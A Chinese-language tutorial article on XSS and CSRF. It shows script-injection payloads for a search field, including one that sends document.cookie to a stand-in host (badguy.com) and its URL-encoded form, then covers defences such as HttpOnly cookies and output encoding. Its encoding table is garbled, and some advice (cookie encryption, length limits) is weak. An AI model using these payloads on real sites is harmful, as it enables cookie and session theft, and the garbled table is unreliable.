XSS/CSRF跨站攻击和防护方案
Xss(Cross Site Scripting 跨站脚本攻击)/CSRF(Cross-site request forgery 跨站请求伪造),它与著名的SQL注入攻击类似,都是利用了Web页面的编写不完善。SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制,它允许恶意web用户将代码植入到提供给其它用户使用的页面中,这些代码包括HTML代码和客户端脚本,然后引导其他用户点击某链接或浏览页面,将document.cookie等信息传到指定服务器。
XSS攻击的危害:
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。
攻击代码演示:
假设有个搜索栏,里面有个<input type="text" name="word" value="{$word}" />文本输入框。
正常情况下,提交的参数为:
?word=123,提交后,html输出为:
<input type="text" name="word" value="123" />
XSS攻击的提交参数为:
?word=123"/><script>alert('XSS攻击演示');alert(document.cookie)</script><!--
提交后,html输出为:
<input type="text" name="word" value="123"/><script>alert('XSS攻击演示');alert(document.cookie)</script><!--
提交后,即可在浏览器弹出cookie的值。
典型的XSS跨站收集cookie并攻击的代码如:
?word="/><script>alert('XSS跨站收集cookie并攻击');window.open('http://badguy.com?cookie='+document.cookie)</script><!--
提交后,html输出为:
<input type="text" name="word" value=""/><script>alert('XSS跨站收集cookie并攻击');window.open('http://badguy.com?cookie='+document.cookie)</script><!--
对于用于攻击的URL信息,攻击者一般不会直接使用以上可读形式,而是将其通过url编码,如用于攻击的参数值:
"/><script>alert('XSS跨站收集cookie并攻击');window.open('http://badguy.com?cookie='+document.cookie)</script><!--
URLEncode编码后为:%22%2F%3E%3Cscript%3Ealert('XSS%E8%B7%A8%E7%AB%99%E6%94%B6%E9%9B%86cookie%E5%B9%B6%E6%94%BB%E5%87%BB')%3Bwindow.open('http%3A%2F%2Fbadguy.com%3Fcookie%3D'%2Bdocument.cookie)%3C%2Fscript%3E%3C!--
如果攻击者确定网站有xss漏洞,则下一步攻击者会在用户输入表单中,比如会员信息表单的某个字段,直接填写xss脚本代码,提交保存到数据库中。管理员在后台浏览该用户信息的时候,后台页面会直接输出xss攻击脚本,把管理员的session信息直接带到攻击者的服务器上,攻击者就可以窃取到管理员的session id,在会话有效期内获得管理员的用户权限。且因为攻击数据已经写入到数据库,只要攻击数据未被删除,那么攻击还有可能生效,是持久性的。
Xss攻击的防范:
如上所示,跨站攻击会通过在输入参数中植入攻击脚本代码,来实现跨站收集cookie,并进一步做攻击动作的目的。因此,针对一般情况,以下方法可有效抵御XSS攻击:
1. cookie加密(跨站攻击一般需要收集已登录的cookie信息,而cookie加密可以让黑客即使收集到了cookie,也会对加密的cookie值无法破译,浏览器cookie总大小约4KB)
不同浏览器间cookie总大小不同,Firefox和Safari允许cookie多达4097个字节,包括名(name)、值(value)和等号。Opera允许cookie多达4096个字节,包括:名(name)、值(value)和等号。Internet Explorer允许cookie多达4095个字节,包括:名(name)、值(value)和等号。(注:多字节字符计算为两个字节。在所有浏览器中,任何cookie大小超过限制都被忽略,且永远不会被设置。)
2. 尽量使用 Cookie 的 HttpOnly 属性,跨站获取cookie信息是通过document.cookie获取了,设置httponly属性,可以阻止客户端脚本获取cookie信息,这样document就无法获取cookie了。
3. 字符串长度验证,仅接受指定长度范围内的变量值(xss要在输入的变量值中加入一大串用于xss攻击的脚本代码,这会让参数的值变得很长,因此把参数值的字符串长度严格限制在指定长度内,带有xss攻击代码的变量值就会因为长度超限而被过滤)
4. 对用户输入的敏感符号做过滤或转码,仅采用所预期的字符的内容提交,对其他的一律过滤(尖括号、单引号、双引号、javascript和javascript事件(onfocus、onclick、onload、onmouseover等)都是敏感的字符,常规的变量值是不会包含这些字符的,所以要过滤掉)
常见转码为:
< 编码为 <
> 编码为 >
& 编码为 &
' 编码为 '
" 编码为 "
空格 编码为
5. 所有打印输出的语句,都要进行html转码过滤,这样可以破坏Xss代码的执行。
6. 实现session tokens(表单令牌),拒绝不明来源的提交。在表单等用户输入数据的地方,使用表单令牌,防止非法提交。
7. 确认接收的内容仅包含最小的,安全的标签(没有javascript),去掉任何远程内容的引用(尤其是样式表和javascript)
8. 定期检查数据库内容是否包含敏感代码
被动XSS防御:
1、为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS(因此要测试XSS攻击脚本,最好用微软的IE7及更低版本,IE8以上的IE浏览器开启兼容模式或者国产浏览器切换到兼容模式也可以模拟IE7及更低版本)
2、ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图
Xss检测工具:
http://webscan.360.cn/ 360网站安全检测 - 在线安全检测,网站漏洞修复,网站后门检测
AppScan http://www.cnblogs.com/fnng/archive/2012/05/27/2520594.html
https://www.owasp.org/index.php/OWASP_Xelenium_Project Xelenium是由owasp出品的一款安全测试工具,使用Java Swing编写,可以用来发现web应用中存在的安全漏洞
http://www.oschina.net/project/tag/361/loophole-tools 漏洞检测工具排行榜
编程语言自带的过滤方法:
PHP过滤函数:strip_tags、htmlspecialchars
$inputstr=htmlspecialchars(strip_tags($_POST['name']));
针对非法的HTML代码包括单双引号和尖括号等,使用htmlspecialchars()函数,如下图:
在使用htmlspecialchars()函数的时候注意第二个参数, 直接用htmlspecialchars($string) 的话,第二个参数默认是ENT_COMPAT,函数默认只是转化双引号(“), 不对单引号(‘)做转义.
所以,htmlspecialchars函数更多的时候要加上第二个参数, 应该这样用: htmlspecialchars($string,ENT_QUOTES).当然,如果需要不转化如何的引号,用htmlspecialchars($string,ENT_NOQUOTES).
另外, 尽量少用htmlentities, 这两个函数的功能都是转换字符为HTML字符编码,特别是url和代码字符串。防止字符标记被浏览器执行。在全部英文的时候htmlentities和htmlspecialchars没有区别,都可以达到目的。但是,中文情况下,htmlentities却会转化所有的html代码,连同里面的它无法识别的中文字符也给转化了。
htmlentities和htmlspecialchars这两个函数对 '之类的字符串支持不好,都不能转化, 所以用htmlentities和htmlspecialchars转化的字符串只能防止XSS攻击,不能防止SQL注入攻击.
所有打印输出的语句如echo,print等 在打印前都要使用htmlentities() 进行过滤,这样可以防止Xss,注意中文要写出htmlentities($name,ENT_NOQUOTES,GB2312) 。
C#过滤函数:System.Web.HttpUtility.HtmlEncode
Java过滤函数:java没有原生的编码转换方法,必需自己写或者使用第三方库提供的方法。
参考文章:
http://baike.baidu.com/item/XSS攻击
http://www.111cn.net/phper/phpanqn/58205.htm
http://www.myhack58.com/Article/html/3/7/2015/59421.htm
http://netsecurity.51cto.com/art/201307/405083.htm
http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html
http://netsecurity.51cto.com/art/201307/405083.htm
http://www.cnblogs.com/bangerlee/archive/2013/04/06/3002142.html
http://www.cnblogs.com/zdz8207/p/webscan-appscan-xss.html
http://netsecurity.51cto.com/art/200902/111143.htm
演示文件下载:
xsstest(xss攻击演示,php单文件绿色版).zip
版权声明:本文采用署名-非商业性使用-相同方式共享(CC BY-NC-SA 3.0 CN)国际许可协议进行许可,转载请注明作者及出处。 |